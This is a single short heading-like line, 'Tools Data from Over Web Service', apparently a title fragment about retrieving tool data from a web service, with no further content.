Tools Data from Over Web Service




